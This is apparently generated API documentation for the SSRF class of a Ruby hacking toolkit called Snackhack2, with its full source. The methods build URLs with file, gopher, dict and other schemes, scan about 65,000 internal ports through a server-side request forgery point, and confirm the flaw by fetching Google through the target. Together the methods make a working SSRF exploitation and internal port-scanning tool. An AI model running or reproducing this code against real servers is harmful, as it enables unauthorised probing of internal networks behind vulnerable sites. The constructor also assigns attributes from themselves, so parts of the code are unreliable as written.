Class: Snackhack2::SSRF
- Inherits:
-
Object
- Object
- Snackhack2::SSRF
- Defined in:
- lib/snackhack2/ssrf.rb
Instance Attribute Summary collapse
-
#protocol ⇒ Object
Returns the value of attribute protocol.
-
#site ⇒ Object
Returns the value of attribute site.
-
#ssrf_site ⇒ Object
Returns the value of attribute ssrf_site.
Instance Method Summary collapse
- #get_protocol ⇒ Object
- #http_port_scan(port_count: 8082) ⇒ Object
-
#initialize ⇒ SSRF
constructor
A new instance of SSRF.
- #ssrf_google ⇒ Object
Constructor Details
#initialize ⇒ SSRF
Returns a new instance of SSRF.
9 10 11 12 13 |
# File 'lib/snackhack2/ssrf.rb', line 9 def initialize @site = site @ssrf_site = ssrf_site @protocol = protocol end |
Instance Attribute Details
#protocol ⇒ Object
Returns the value of attribute protocol.
8 9 10 |
# File 'lib/snackhack2/ssrf.rb', line 8 def protocol @protocol end |
#site ⇒ Object
Returns the value of attribute site.
8 9 10 |
# File 'lib/snackhack2/ssrf.rb', line 8 def site @site end |
#ssrf_site ⇒ Object
Returns the value of attribute ssrf_site.
8 9 10 |
# File 'lib/snackhack2/ssrf.rb', line 8 def ssrf_site @ssrf_site end |
Instance Method Details
#get_protocol ⇒ Object
14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# File 'lib/snackhack2/ssrf.rb', line 14 def get_protocol case @protocol.downcase when "https" "https://" when "ftp" "ftp://" when "http" "http://" when "file" "file://" when "dict" "dict://" when "gopher" "gopher://" when "sftp" "sftp://" when "tftp" "tftp://" when "ldap" "ldap://" end end |
#http_port_scan(port_count: 8082) ⇒ Object
36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
# File 'lib/snackhack2/ssrf.rb', line 36 def http_port_scan(port_count: 8082) hydra = Typhoeus::Hydra.new i = 0 # Where found ports will be saved. found_ports = [] # tries 65530 ports 65530.times.each_with_index.map{ |i| # adds the port to @ssrf site = @site.gsub("SSRF", "#{@ssrf_site}") + ":" + i.to_s request = Typhoeus::Request.new("#{site}", followlocation: true) hydra.queue(request) request.on_complete do |response| # If the response code returns 200 it will save # the port number to `found_ports`. if response.code.to_i.eql?(200) puts i puts "#{response.code}" found_ports << i end end } hydra.run # returns the `found_ports` array. found_ports end |
#ssrf_google ⇒ Object
61 62 63 64 65 66 67 |
# File 'lib/snackhack2/ssrf.rb', line 61 def ssrf_google url = @site.gsub('SSRF', 'http://google.com') ht = HTTParty.get(url) if ht.body.include?("Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.") puts "Boom Shaka. It's vulnerable to SSRF..." end end |